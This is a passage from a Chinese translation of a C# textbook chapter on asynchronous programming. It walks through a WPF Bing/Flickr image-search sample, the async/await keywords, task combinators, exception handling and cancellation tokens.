System.Collections.ObjectModel; namespace Wrox.ProCSharp.Async { public class SearchInfo : BindableBase { public SearchInfo() { _list = new ObservableCollection<SearchItemResult>(); _list.CollectionChanged += delegate { OnPropertyChanged("List"); }; } private string _searchTerm; public string SearchTerm { get { return _searchTerm; } set { SetProperty(ref _searchTerm, value); } } private ObservableCollection<SearchItemResult> _list; public ObservableCollection<SearchItemResult> List => _list; } } 在XAML代码中,TextBox控件用于输入搜索关键词。该控件绑定到SearchInfo类型的 SearchTerm属性。几个按钮控件用于激活事件处理程序。例如,Sync按钮调用 OnSearchSync方法(代码文件AsyncPatternsWPF/MainWindow.xaml): <StackPanel Orientation="Horizontal" Grid.Row="0"> <StackPanel.LayoutTransform> <ScaleTransform ScaleX="2" ScaleY="2" /> </StackPanel.LayoutTransform> <TextBox Text="{Binding SearchTerm}" Width="200" Margin="4" /> <Button Click="OnClear">Clear</Button> <Button Click="OnSearchSync">Sync</Button> <Button Click="OnSeachAsyncPattern">Async</Button> <Button Click="OnAsyncEventPattern">Async Event</Button> <Button Click="OnTaskBasedAsyncPattern">Task Based Async</Button> </StackPanel> 在XAML代码的第二部分包含一个ListBox控件。为了在ListBox控件中进行特殊显 示,使用了ItemTemplate。每个ItemTemplate包含两个TextBlock控件和一个Image控件。该 ListBox控件绑定到SearchInfo类的List属性,ItemTemplate中控件的属性绑定到 SearchItemResult类型的属性: <Grid Grid.Row="1"> <Grid.ColumnDefinitions> <ColumnDefinition Width="*" /> <ColumnDefinition Width="3*" /> </Grid.ColumnDefinitions> <ListBox Grid.IsSharedSizeScope="True" ItemsSource="{Binding List}" Grid.Column="0" IsSynchronizedWithCurrentItem="True" Background="Black"> <ListBox.ItemTemplate> <DataTemplate> <Grid> <Grid.ColumnDefinitions> <ColumnDefinition SharedSizeGroup="ItemTemplateGroup" /> </Grid.ColumnDefinitions> <StackPanel HorizontalAlignment="Stretch" Orientation="Vertical" Background="{StaticResource linearBackgroundBrush}"> <TextBlock Text="{Binding Source}" Foreground="White" /> <TextBlock Text="{Binding Title}" Foreground="White" /> <Image HorizontalAlignment="Center" Source="{Binding ThumbnailUrl}" Width="100" /> </StackPanel> </Grid> </DataTemplate> </ListBox.ItemTemplate> </ListBox> <GridSplitter Grid.Column="1" Width="3" HorizontalAlignment="Left" /> <Image Grid.Column="1" Source="{Binding List/Url}" /> </Grid> 现在来看看BingRequest类。该类包含如何向Bing服务发出请求的一些信息。该类的 Url属性返回一个用于请求图片的URL字符串。请求字符串由搜索关键词、请求图片的数 量(Count)和跳过图片的数量(Offset)构成。Bing是需要身份认证的。用户ID用AppId 来定义,并使用返回Network-Credential对象的Credentials属性。要运行应用程序,需要使 用Windows Azure Marketplace注册,并申请一个Bing Search API。编写本书时,Bing提供 的免费事务每月多达5000次,这足够运行示例应用程序。每次搜索是一个事务。注册Bing Search API的链接为https://datamarket.azure.com/dataset/bing/search。注册获取AppID后,需 要复制AppID,将其添加到BingRequest类中。 用创建的URL将请求发送到Bing之后,Bing会返回一个XML字符串。BingRequest类 的Parse方法会解析该XML字符串,并返回SearchItemResult对象的集合(代码文件 AsyncLib/BingRequest.cs):  注意: BingRequest类和FlickrRequest类的Parse方法利用了LINQ to XML。第 27章将讨论如何使用LINQ to XML。 using System.Collections.Generic; using System.Linq; using System.Net; using System.Xml.Linq; namespace Wrox.ProCSharp.Async { public class BingRequest : IImageRequest { private const string AppId = "enter your Bing AppId here"; public BingRequest() { Count = 50; Offset = 0; } private string _searchTerm; public string SearchTerm { get { return _searchTerm; } set { _searchTerm = value; } } public ICredentials Credentials => new NetworkCredentials(AppId, AppId); public string Url => $"https://api.datamarket.azure.com/" + "Data.ashx/Bing/Search/v1/Image? Query=%27{SearchTerm}%27&" + "$top={Count}&$skip={Offset}&$format=Atom"; public int Count { get; set; } public int Offset { get; set; } public IEnumerable<SearchItemResult> Parse(string xml) { XElement respXml = XElement.Parse(xml); XNamespace d = XNamespace.Get( "http://schemas.microsoft.com/ado/2007/08/dataservices"); XNamespace m = XNamespace.Get( "http://schemas.microsoft.com/ado/2007/08/dataservices/metadata"); return (from item in respXml.Descendants(m + "properties") select new SearchItemResult { Title = new string(item.Element(d + "Title"). Value.Take(50).ToArray()), Url = item.Element(d + "MediaUrl").Value, ThumbnailUrl = item.Element(d + "Thumbnail"). Element(d + "MediaUrl").Value, Source = "Bing" }).ToList(); } } } BingRequest类和FlickrRequest类都实现了IImageRequest接口。该接口定义了 SearchTerm属性、Url属性和Parse方法,Parse方法很容易迭代两个图片服务提供商返回的 结果(代码文件AsyncLib/IImageRequest.cs): using System; using System.Collections.Generic; using System.Net; namespace Wrox.ProCSharp.Async { public interface IImageRequest { string SearchTerm { get; set; } string Url { get; } IEnumerable<SearchItemResult> Parse(string xml); ICredentials Credentials { get; } } } FlickrRequest和BingRequest类非常相似。它仅是用搜索关键词创建了不同的URL来请 求图片,Parse方法的实现也不同,因为从Flickr返回的XML与从Bing返回的XML不同。和 Bing一样,也需要为Flickr注册一个AppId,注册链接为 http://www.flickr.com/services/apps/create/ apply/。 using System.Collections.Generic; using System.Linq; using System.Xml.Linq; namespace Wrox.ProCSharp.Async { public class FlickrRequest : IImageRequest { private const string AppId = "Enter your Flickr AppId here"; public FlickrRequest() { Count = 30; Page = 1; } private string _searchTerm; public string SearchTerm { get { return _searchTerm; } set { _searchTerm = value; } } public string Url => $"http://api.flickr.com/services/rest? " + "api_key={AppId}&method=flickr.photos.search&content_type=1&" + "text={SearchTerm}&per_page={Count}&page={Page}"; public ICredentials Credentials => null; public int Count { get; set; } public int Page { get; set; } public IEnumerable<SearchItemResult> Parse(string xml) { XElement respXml = XElement.Parse(xml); return (from item in respXml.Descendants("photo") select new SearchItemResult { Title = new string(item.Attribute("title").Value. Take(50).ToArray()), Url = string.Format("http://farm{0}.staticflickr.com/" + "{1}/{2}_{3}_z.jpg", item.Attribute("farm").Value, item.Attribute("server").Value, item.Attribute("id").Value, item.Attribute("secret").Value), ThumbnailUrl = string.Format("http://farm{0}." + "staticflickr.com/{1}/{2}_{3}_t.jpg", item.Attribute("farm").Value, item.Attribute("server").Value, item.Attribute("id").Value, item.Attribute("secret").Value), Source = "Flickr" }).ToList(); } } } 现在,只需要连接到WPF应用程序和类库中的类型。在MainWindow类的构造函数 中,创建了SearchInfo实例,并将窗口的DataContext属性设置为这个实例。现在,可以用 之前的XAML代码进行数据绑定,如下所示(代码文件 AsyncPatternsWPF/MainWindow.xaml.cs): public partial class MainWindow : Window { private SearchInfo _searchInfo = new SearchInfo(); public MainWindow() { InitializeComponent(); this.DataContext = _searchInfo; } //. . . MainWindow类也包含一个辅助方法GetSearchRequests,它返回一个由BingRequest类 型和FlickrRequest类型构成的IImageRequest对象集合。如果仅注册一个服务,则可以修改 代码,仅返回注册的那个服务。当然,也可以创建IImageRequest类型的其他服务,例 如,使用Google或Yahoo。然后,把这些请求类型添加到返回的集合中: private IEnumerable<IImageRequest> GetSearchRequests() { return new List<IImageRequest> { new BingRequest { SearchTerm = _searchInfo.SearchTerm }, new FlickrRequest { SearchTerm = _searchInfo.SearchTerm} }; } 15.2.1 同步调用 现在,一切准备就绪,开始同步调用这些服务。Sync按钮的单击处理程序 OnSearchSync,遍历GetSearchRequests方法返回的所有搜索请求,并且用Url属性发出 WebClient类的HTTP请求。DownloadString方法会阻塞,直到接收到结果。得到的XML赋 给resp变量。通过Parse方法分析XML内容,返回一个SearchItemResult对象的集合。然 后,集合的每一项添加到_searchInfo中包含的列表(代码文件 AsyncPatternsWPF/MainWindow.xaml.cs): private void OnSearchSync(object sender, RoutedEventArgs e) { foreach (var req in GetSearchRequests()) { var client = new WebClient(); client.Credentials = req.Credentials; string resp = client.DownloadString(req.Url); IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { _searchInfo.List.Add(image); } } } 运行该应用程序(如图15-2所示),用户界面被阻塞,直到OnSearchSync方法完成对 Bing和Filckr的网络调用,并完成结果分析。完成这些调用所需的时间取决于网络速度, 以及Bing与Flickr当前的工作量。但是,对于用户来说,等待都是不愉快的。 图15-2 因此,有必要使用异步调用。 15.2.2 异步模式 进行异步调用的方式之一是使用异步模式。异步模式定义了BeginXXX方法和 EndXXX方法。例如,如果有一个同步方法DownloadString,其异步版本就是 BeginDownloadString和EndDownload-String方法。BeginXXX方法接受其同步方法的所有 输入参数,EndXXX方法使用同步方法的所有输出参数,并按照同步方法的返回类型来返 回结果。使用异步模式时,BeginXXX方法还定义了一个AsyncCallback参数,用于接受在 异步方法执行完成后调用的委托。BeginXXX方法返回IAsyncResult,用于验证调用是否已 经完成,并且一直等到方法的执行结束。 WebClient类没有提供异步模式的实现方式,但是可以用HttpWebRequest类来替代, 因为该类通过BeginGetResponse和EndGetResponse方法提供这种模式。下面的示例没有体 现这一点,而是使用了委托,委托类型定义了Invoke方法用于调用同步方法,还定义了 BeginInvoke方法和EndInvolve方法,用于使用异步模式。在这里,声明了Func<string, string>类型的委托downloadString,来引用有一个string参数和一个string返回值的方法。 downloadString变量引用的方法是用lambda表达式实现的,并且调用WebClient类型的同步 方法DownloadString。这个委托通过调用BeginInvolve方法来异步调用。这个方法是使用 线程池中的一个线程来进行异步调用的。 BeginInvoke方法的第一个参数是Func委托的第一个字符串泛型参数,用于传递 URL。第二个参数的类型是AsyncCallback。AsyncCallback是一个委托,需要IAsyncResult 作为参数。当异步方法执行完毕后,将调用这个委托引用的方法。之后,会调用 downloadString.EndInvoke来检索结果,其方式与以前解析XML内容和获得集合项的方式 相同。但是,这里不可能直接把结果返回给UI,因为UI绑定到一个单独的线程,而回调 方法在一个后台线程中运行。所以,必须使用窗口的Dispatcher属性切换回UI线程。 Dispatcher的Invoke方法需要一个委托作为参数;这就是指定Action<SearchItemResult>委 托的原因,它会在绑定到UI的集合中添加项(代码文件 AsyncPatterns/MainWindow.xaml.cs): private void OnSearchAsyncPattern(object sender, RoutedEventArgs e) { Func<string, ICredentials, string> downloadString = (address, cred) => { var client = new WebClient(); client.Credentials = cred; return client.DownloadString(address); }; Action<SearchItemResult> addItem = item => _searchInfo.List.Add(item); foreach (var req in GetSearchRequests()) { downloadString.BeginInvoke (req.Url, req.Credentials, ar => { string resp = downloadString.EndInvoke (ar); IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { this.Dispatcher.Invoke(addItem, image); } }, null); } } 异步模式的优势是使用委托功能很容易地实现异步编程。程序现在运行正常,也不会 阻塞UI。但是,使用异步模式是非常复杂的。幸运的是,.NET 2.0推出了基于事件的异步 模式,更便于处理UI的更新。  注意: 第9章介绍了委托类型和lambda表达式。 15.2.3 基于事件的异步模式 OnAsyncEventPattern方法使用了基于事件的异步模式。这个模式由WebClient类实 现,因此可以直接使用。 基于事件的异步模式定义了一个带有“Async”后缀的方法。例如,对于同步方法 DownloadString, WebClient类提供了一个异步变体方法DownloadStringAsync。异步方法完 成时,不是定义要调用的委托,而是定义一个事件。当异步方法DownloadStringAsync完 成后,会直接调用DownloadStringCompleted事件。赋给该事件处理程序的方法,在lambda 表达式中实现。实现方式和之前差不多,但是现在,可以直接访问UI元素了,因为事件 处理程序是从拥有同步上下文的线程中调用,在Windows Forms和WPF应用程序中,拥有 同步上下文的线程就是UI线程(代码文件AsyncPatternsWPF/MainWindow.xaml.cs): private void OnAsyncEventPattern(object sender, RoutedEventArgs e) { foreach (var req in GetSearchRequests()) { var client = new WebClient(); client.Credentials = req.Credentials; client.DownloadStringCompleted += (sender1, e1) => { string resp = e1.Result; IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { _searchInfo.List.Add(image); } }; client.DownloadStringAsync(new Uri(req.Url)); } } 基于事件的异步模式的优势在于易于使用。但是,在自定义类中实现这个模式就没有 那么简单了。一种方式是使用BackgroundWorker类来实现异步调用同步方法。 BackgroundWorker类实现了基于事件的异步模式。 这使代码更加简单了。但是,与同步方法调用相比,顺序颠倒了。调用异步方法之 前,需要定义这个方法完成时发生什么。15.2.4小节将进入异步编程的新世界:利用async 和await关键字。 15.2.4 基于任务的异步模式 在.NET 4.5中,更新了WebClient类,还提供了基于任务的异步模式(TAP)。该模式 定义了一个带有“Async”后缀的方法,并返回一个Task类型。由于WebClient类已经提供了 一个带Async后缀的方法来实现基于任务的异步模式,因此新方法名为 DownloadStringTaskAsync。 DownloadStringTaskAsync方法声明为返回Task<string>。但是,不需要声明一个 Task<string>类型的变量来设置DownloadStringTaskAsync方法返回的结果。只要声明一个 String类型的变量,并使用await关键字。await关键字会解除线程(这里是UI线程)的阻 塞,完成其他任务。当DownloadStringTaskAsync方法完成其后台处理后,UI线程就可以 继续,从后台任务中获得结果,赋值给字符串变量resp。然后执行await关键字后面的代码 (代码文件AsyncPatternsWPF/MainWindow. xaml.cs): private async void OnTaskBasedAsyncPattern(object sender, RoutedEventArgs e) { foreach (var req in GetSearchRequests()) { var client = new WebClient(); client.Credentials = req.Credentials; string resp = await client.DownloadStringTaskAsync(req.Url); IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { _searchInfo.List.Add(image); } } }  注意: async关键字创建了一个状态机,类似于yield return语句。参见第7 章。 现在,代码就简单多了。没有阻塞,也不需要切换回UI线程,这些都是自动实现 的。代码顺序也和惯用的同步编程一样。 接下来,将代码改为使用与WebClient不同的类,该类以更加直接的方式实现基于任 务的异步模式,并且没有提供同步方法。该类是在.NET 4.5中新添加的HttpClient类。使用 GetAsync方法发出一个异步GET请求。然后,要读取内容,需要另一个异步方法。 ReadAsStringAsync方法返回字符串格式的内容。 private async void OnTaskBasedAsyncPattern(object sender, RoutedEventArgs e) { foreach (var req in GetSearchRequests()) { var clientHandler = new HttpClientHandler { Credentials = req.Credentials }; var client = new HttpClient(clientHandler); var response = await client.GetAsync(req.Url); string resp = await response.Content.ReadAsStringAsync(); IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { _searchInfo.List.Add(image); } } } 解析XML字符串可能需要一段时间。因为解析代码在UI线程上运行,这时UI线程就 不能响应用户的其他请求了。要利用同步功能创建后台任务,可以使用Task.Run方法。在 下面的示例中,Task.Run打包XML字符串的解析,返回一个SearchItemResult集合: private async void OnTaskBasedAsyncPattern(object sender, RoutedEventArgs e) { foreach (var req in GetSearchRequests()) { var clientHandler = new HttpClientHandler { Credentials = req.Credentials }; var client = new HttpClient(clientHandler); var response = await client.GetAsync(req.Url, cts.Token); string resp = await response.Content.ReadAsStringAsync(); await Task.Run(() => { IEnumerable<SearchItemResult> images = req.Parse(resp); foreach (var image in images) { _searchInfo.List.Add(image); } } } } 因为传递给Task.Run方法的代码块在后台线程上运行,所以这里的问题和以前引用UI 代码相同。一个解决方案是在Task.Run方法内只执行req.Parse方法,在任务外执行foreach 循环,把结果添加到UI线程的列表中。现在,在.NET 4.5中,WPF提供了更好的解决方 案,可以在后台线程上填充已绑定UI的集合。这只需要使用 BindingOperations.EnableCollectionSynchronization属性,启用集合的同步访问功能。如下 面的代码段所示: public partial class MainWindow : Window { private SearchInfo _searchInfo = new SearchInfo(); private object _lockList = new object(); public MainWindow() { InitializeComponent(); this.DataContext = _searchInfo; BindingOperations.EnableCollectionSynchronization( _searchInfo.List, _lockList); } 认识到async和await关键字的优势后,15.3节将讨论异步编程的基础。 15.3 异步编程的基础 async和await关键字只是编译器功能。编译器会用Task类创建代码。如果不使用这两 个关键字,也可以用C# 4.0和Task类的方法来实现同样的功能,只是没有那么方便。 本节介绍了编译器用async和await关键字能做什么,如何采用简单的方式创建异步方 法,如何并行调用多个异步方法,以及如何修改已经实现异步模式的类,以使用新的关键 字。 所有示例Foundations的代码都使用了如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Threading System.Threading.Tasks static System.Console 15.3.1 创建任务 下面从同步方法Greeting开始,该方法等待一段时间后,返回一个字符串(代码文件 Foundations/Program.cs): static string Greeting(string name) { Task.Delay(3000).Wait(); return $"Hello, {name}"; } 定义方法GreetingAsync,可以使方法异步化。基于任务的异步模式指定,在异步方 法名后加上Async后缀,并返回一个任务。异步方法GreetingAsync和同步方法Greeting具 有相同的输入参数,但是它返回的是Task<string>。Task<string>定义了一个返回字符串的 任务。一个比较简单的做法是用Task.Run方法返回一个任务。泛型版本的 Task.Run<string>()创建一个返回字符串的任务: static Task<string> GreetingAsync (string name) { return Task.Run<string>(() => { return Greeting(name); }); } 15.3.2 调用异步方法 可以使用await关键字来调用返回任务的异步方法GreetingAsync。使用await关键字需 要有用async修饰符声明的方法。在GreetingAsync方法完成前,该方法内的其他代码不会 继续执行。但是,启动CallerWithAsync方法的线程可以被重用。该线程没有阻塞: private async static void CallerWithAsync() { string result = await GreetingAsync("Stephanie"); WriteLine(result); } 如果异步方法的结果不传递给变量,也可以直接在参数中使用await关键字。在这 里,GreetingAsync方法返回的结果将像前面的代码片段一样等待,但是这一次的结果会 直接传给WriteLine方法: private async static void CallerWithAsync2() { WriteLine(await GreetingAsync("Stephanie")); }  async修饰符只能用于返回.NET类型的Task或viod的方法,以及Windows运行 库的IAsyncOperation。它不能用于程序的入口点,即Main方法不能使用async修饰符。 await只能用于返回Task的方法。 15.3.3小节中,会介绍是什么驱动了这个await关键字,在后台使用了延续任务。 15.3.3 延续任务 GreetingAsync方法返回一个Task<string>对象。该Task<string>对象包含任务创建的信 息,并保存到任务完成。Task类的ContinueWith方法定义了任务完成后就调用的代码。指 派给ContinueWith方法的委托接收将已完成的任务作为参数传入,使用Result属性可以访 问任务返回的结果: private static void CallerWithContinuationTask() { Task<string> t1 = GreetingAsync("Stephanie"); t1.ContinueWith (t => { string result = t.Result; WriteLine(result); }); } 编译器把await关键字后的所有代码放进ContinueWith方法的代码块中来转换await关键 字。 15.3.4 同步上下文 如果验证方法中使用的线程,会发现CallerWithAsync方法和 CallerWithContinuationTask方法,在方法的不同生命阶段使用了不同的线程。一个线程用 于调用GreetingAsync方法,另外一个线程执行await关键字后面的代码,或者继续执行 ContinueWith方法内的代码块。 使用一个控制台应用程序,通常不会有什么问题。但是,必须保证在所有应该完成的 后台任务完成之前,至少有一个前台线程仍然在运行。示例应用程序调用 Console.ReadLine来保证主线程一直在运行,直到按下返回键。 为了执行某些动作,有些应用程序会绑定到指定的线程上(例如,在WPF应用程序 中,只有UI线程才能访问UI元素),这将会是一个问题。 如果使用async和await关键字,当await完成之后,不需要进行任何特别处理,就能访 问UI线程。默认情况下,生成的代码就会把线程转换到拥有同步上下文的线程中。WPF 应用程序设置了DispatcherSynchronizationContext属性,Windows Forms应用程序设置了 WindowsFormsSynchronization-Context属性。如果调用异步方法的线程分配给了同步上下 文,await完成之后将继续执行。默认情况下,使用了同步上下文。如果不使用相同的同 步上下文,则必须调用Task方法ConfigureAwait (continueOnCapturedContext:false)。例 如,一个WPF应用程序,其await后面的代码没有用到任何的UI元素。在这种情况下,避 免切换到同步上下文会执行得更快。 15.3.5 使用多个异步方法 在一个异步方法里,可以调用一个或多个异步方法。如何编写代码,取决于一个异步 方法的结果是否依赖于另一个异步方法。 1.按顺序调用异步方法 使用await关键字可以调用每个异步方法。在有些情况下,如果一个异步方法依赖另 一个异步方法的结果,await关键字就非常有用。在这里,GreetingAsync异步方法的第二 次调用完全独立于其第一次调用的结果。这样,如果每个异步方法都不使用await,那么 整个MultipleAsyncMethods异步方法将更快地返回结果,如下所示: private async static void MultipleAsyncMethods() { string s1 = await GreetingAsync("Stephanie"); string s2 = await GreetingAsync("Matthias"); WriteLine("Finished both methods.\nResult 1: {s1}\n Result 2: {s2}"); } 2.使用组合器 如果异步方法不依赖于其他异步方法,则每个异步方法都不使用await,而是把每个 异步方法的返回结果赋值给Task变量,就会运行得更快。GreetingAsync方法返回 Task<string>。这些方法现在可以并行运行了。组合器可以帮助实现这一点。一个组合器 可以接受多个同一类型的参数,并返回同一类型的值。多个同一类型的参数被组合成一个 参数来传递。Task组合器接受多个Task对象作为参数,并返回一个Task。 示例代码调用Task.WhenAll组合器方法,它可以等待,直到两个任务都完成。 private async static void MultipleAsyncMethodsWithCombinators1() { Task<string> t1 = GreetingAsync("Stephanie"); Task<string> t2 = GreetingAsync("Matthias"); await Task.WhenAll(t1, t2); WriteLine("Finished both methods.\n " + $"Result 1: {t1.Result}\n Result 2: {t2.Result}"); } Task类定义了WhenAll和WhenAny组合器。从WhenAll方法返回的Task,是在所有传 入方法的任务都完成了才会返回Task。从WhenAny方法返回的Task,是在其中一个传入方 法的任务完成了就会返回Task。 Task类型的WhenAll方法定义了几个重载版本。如果所有的任务返回相同的类型,那 么该类型的数组可用于await返回的结果。GreetingAsync方法返回一个Task<string>,等待 返回的结果是一个字符串(string)形式。因此,Task.WhenAll可用于返回一个字符串数 组: private async static void MultipleAsyncMethodsWithCombinators2() { Task<string> t1 = GreetingAsync("Stephanie"); Task<string> t2 = GreetingAsync("Matthias"); string[] result = await Task.WhenAll(t1, t2); WriteLine("Finished both methods.\n " + $"Result 1: {result[0]}\n Result 2: {result[1]}"); } 15.3.6 转换异步模式 并非.NET Framework的所有类都引入了新的异步方法。在使用框架中的不同类时会 发现,还有许多类只提供了BeginXXX方法和EndXXX方法的异步模式,没有提供基于任 务的异步模式。但是,可以把异步模式转换为基于任务的异步模式。 首先,从前面定义的同步方法Greeting中,借助于委托,创建一个异步方法。Greeting 方法接收一个字符串作为参数,并返回一个字符串。因此,Func<string, string>委托的变 量可用于引用Greeting方法。按照异步模式,BeginGreeting方法接收一个string参数、一个 AsyncCallback参数和一个object参数,返回IAsyncResult。EndGreeting方法返回来自 Greeting方法的结果——一个字符串——并接收一个IAsyncResult参数。这样,同步方法 Greeting就通过一个委托变成异步方法。 private Func<string, string> greetingInvoker = Greeting; private IAsyncResult BeginGreeting(string name, AsyncCallback callback, object state) { return greetingInvoker.BeginInvoke(name, callback, state); } private string EndGreeting(IAsyncResult ar) { return greetingInvoker.EndInvoke(ar); } 现在,BeginGreeting方法和EndGreeting方法都是可用的,它们都应转换为使用async 和await关键字来获取结果。TaskFactory类定义了FromAsync方法,它可以把使用异步模式 的方法转换为基于任务的异步模式的方法(TAP)。 示例代码中,Task类型的第一个泛型参数Task<string>定义了调用方法的返回值类 型。FromAsync方法的泛型参数定义了方法的输入类型。这样,输入类型又是字符串类 型。FromAsync方法的前两个参数是委托类型,传入BeginGreeting和EndGreeting方法的地 址。紧跟这两个参数后面的是输入参数和对象状态参数。因对象状态没有用到,所以给它 分配null值。因为FromAsync方法返回Task类型,即示例代码中的Task<string>,可以使用 await,如下所示: private static async void ConvertingAsyncPattern() { string s = await Task<string>.Factory.FromAsync<string>( BeginGreeting, EndGreeting, "Angela", null); WriteLine(s); } 15.4 错误处理 第14章详细介绍了错误和异常处理。但是,在使用异步方法时,应该知道错误的一些 特殊处理方式。 所有ErrorHandling示例的代码都使用了如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Threading.Tasks static System.Console 从一个简单的方法开始,它在延迟后抛出一个异常(代码文件 ErrorHandling/Program.cs): static async Task ThrowAfter(int ms, string message) { await Task.Delay(ms); throw new Exception(message); } 如果调用异步方法,并且没有等待,可以将异步方法放在try/catch块中,就会捕获不 到异常。这是因为DontHandle方法在ThrowAfter抛出异常之前,已经执行完毕。需要等待 ThrowAfter方法(用await关键字),如下所示: private static void DontHandle() { try { ThrowAfter(200, "first"); // exception is not caught because this method is finished // before the exception is thrown } catch (Exception ex) { WriteLine(ex.Message); } }  警告: 返回void的异步方法不会等待。这是因为从async void方法抛出的异常 无法捕获。因此,异步方法最好返回一个Task类型。处理程序方法或重写的基类方法 不受此规则限制。 15.4.1 异步方法的异常处理 异步方法异常的一个较好处理方式,就是使用await关键字,将其放在try/catch语句 中,如以下代码块所示。异步调用ThrowAfter方法后,HandleOneError方法就会释放线 程,但它会在任务完成时保持任务的引用。此时(2s后,抛出异常),会调用匹配的catch 块内的代码。 private static async void HandleOneError() { try { await ThrowAfter(2000, "first"); } catch (Exception ex) { WriteLine($"handled {ex.Message}"); } } 15.4.2 多个异步方法的异常处理 如果调用两个异步方法,每个都会抛出异常,该如何处理呢?在下面的示例中,第一 个ThrowAfter方法被调用,2s后抛出异常(含消息first)。该方法结束后,另一个 ThrowAfter方法也被调用,1s后也抛出异常。事实并非如此,因为对第一个ThrowAfter方 法的调用已经抛出了异常,try块内的代码没有继续调用第二个ThrowAfter方法,而是在 catch块内对第一个异常进行处理。 private static async void StartTwoTasks() { try { await ThrowAfter(2000, "first"); await ThrowAfter(1000, "second"); // the second call is not invoked // because the first method throws // an exception } catch (Exception ex) { WriteLine($"handled {ex.Message}"); } } 现在,并行调用这两个ThrowAfter方法。第一个ThrowAfter方法2s后抛出异常,1s后 第二个ThrowAfter方法也抛出异常。使用Task.WhenAll,不管任务是否抛出异常,都会等 到两个任务完成。因此,等待2s后,Task.WhenAll结束,异常被catch语句捕获到。但是, 只能看见传递给WhenAll方法的第一个任务的异常信息。没有显示先抛出异常的任务(第 二个任务),但该任务也在列表中: private async static void StartTwoTasksParallel() { try { Task t1 = ThrowAfter(2000, "first"); Task t2 = ThrowAfter(1000, "second"); await Task.WhenAll(t1, t2); } catch (Exception ex) { // just display the exception information of the first task // that is awaited within WhenAll WriteLine($"handled {ex.Message}"); } } 有一种方式可以获取所有任务的异常信息,就是在try块外声明任务变量t1和t2,使它 们可以在catch块内访问。在这里,可以使用IsFaulted属性检查任务的状态,以确认它们是 否为出错状态。若出现异常,IsFaulted属性会返回true。可以使用Task类的 Exception.InnerException访问异常信息本身。另一种获取所有任务的异常信息的更好方式 如下所述。 15.4.3 使用AggregateException信息 为了得到所有失败任务的异常信息,可以将Task.WhenAll返回的结果写到一个Task变 量中。这个任务会一直等到所有任务都结束。否则,仍然可能错过抛出的异常。15.4.2小 节中,catch语句只检索到第一个任务的异常。不过,现在可以访问外部任务的Exception 属性了。Exception属性是AggregateException类型的。这个异常类型定义了InnerExceptions 属性(不只是InnerException),它包含了等待中的所有异常的列表。现在,可以轻松遍 历所有异常了。 private static async void ShowAggregatedException() { Task taskResult = null; try { Task t1 = ThrowAfter(2000, "first"); Task t2 = ThrowAfter(1000, "second"); await (taskResult = Task.WhenAll(t1, t2)); } catch (Exception ex) { WriteLine($"handled {ex.Message}"); foreach (var ex1 in taskResult.Exception.InnerExceptions) { WriteLine($"inner exception {ex1.Message}"); } } } 15.5 取消 在一些情况下,后台任务可能运行很长时间,取消任务就非常有用了。对于取消任 务,.NET提供了一种标准的机制。这种机制可用于基于任务的异步模式。 取消框架基于协助行为,不是强制性的。一个运行时间很长的任务需要检查自己是否 被取消,在这种情况下,它的工作就是清理所有已打开的资源,并结束相关工作。 取消基于CancellationTokenSource类,该类可用于发送取消请求。请求发送给引用 CancellationToken类的任务,其中CancellationToken类与CancellationTokenSource类相关 联。15.5.1小节将修改本章前面创建的AsyncPatterns示例,来阐述取消任务的相关内容。 15.5.1 开始取消任务 首先,使用MainWindow类的私有字段成员定义一个CancellationTokenSource类型的变 量cts。该成员用于取消任务,并将令牌传递给应取消的方法(代码文件 AsyncPatterns/MainWindow.xaml.cs): public partial class MainWindow : Window { private SearchInfo _searchInfo = new SearchInfo(); private object _lockList = new object(); private CancellationTokenSource _cts; //. . . 新添加一个按钮,用于取消正在运行的任务,添加事件处理程序OnCancel方法。在这 个方法中,变量cts用Cancel方法取消任务: private void OnCancel(object sender, RoutedEventArgs e) { _cts? .Cancel(); } CancellationTokenSource类还支持在指定时间后才取消任务。CancelAfter方法传入一 个时间值,单位是毫秒,在该时间过后,就取消任务。 15.5.2 使用框架特性取消任务 现在,将CancellationToken传入异步方法。框架中的某些异步方法提供可以传入 CancellationToken的重载版本,来支持取消任务。例如HttpClient类的GetAsync方法。除了 URI字符串,重载的GetAsync方法还接受CancellationToken参数。可以使用Token属性检索 CancellationTokenSource类的令牌。 GetAsync方法的实现会定期检查是否应取消操作。如果取消,就清理资源,之后抛出 OperationCanceledException异常。如下面的代码片段所示,catch处理程序捕获到了该异 常: private async void OnTaskBasedAsyncPattern(object sender, RoutedEventArgs e) { _cts = new CancellationTokenSource(); try { foreach (var req in GetSearchRequests()) { var clientHandler = new HttpClientHandler { Credentials = req.Credentials; }; var client = new HttpClient(clientHandler); var response = await client.GetAsync(req.Url, _cts.Token); string resp = await response.Content.ReadAsStringAsync(); //. . . } } catch (OperationCanceledException ex) { MessageBox.Show(ex.Message); } } 15.5.3 取消自定义任务 如何取消自定义任务?Task类的Run方法提供了重载版本,它也传递 CancellationToken参数。但是,对于自定义任务,需要检查是否请求了取消操作。下例 中,这是在foreach循环中实现的,可以使用IsCancellationRequsted属性检查令牌。在抛出 异常之前,如果需要做一些清理工作,最好验证一下是否请求取消操作。如果不需要做清 理工作,检查之后,会立即用ThrowIfCancellationRequested方法触发异常: await Task.Run(() => { var images = req.Parse(resp); foreach (var image in images) { _cts.Token.ThrowIfCancellationRequested(); _searchInfo.List.Add(image); } }, _cts.Token); 现在,用户可以取消运行时间长的任务了。 15.6 小结 本章介绍了async和await关键字。通过几个示例,介绍了基于任务的异步模式, 比.NET早期版本中的异步模式和基于事件的异步模式更具优势。 本章也讨论了在Task类的辅助下,创建异步方法是非常容易的。同时,学会了如何使 用async和await关键字等待这些方法,而不会阻塞线程。最后,介绍了异步方法的错误处 理。 若想了解更多关于并行编程、线程和任务的详细信息,参考第21章。 第16章将继续关注C#和.NET的核心功能,详细介绍了反射、元数据和动态编程。 第16章 反射、元数据和动态编程 本章要点 ● 使用自定义特性 ● 在运行期间使用反射检查元数据 ● 从支持反射的类中构建访问点 ● 理解动态语言运行库 ● 使用动态类型 ● 托管DLR ScriptRuntime ● 用DynamicObject和ExpandoObject创建动态对象 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● 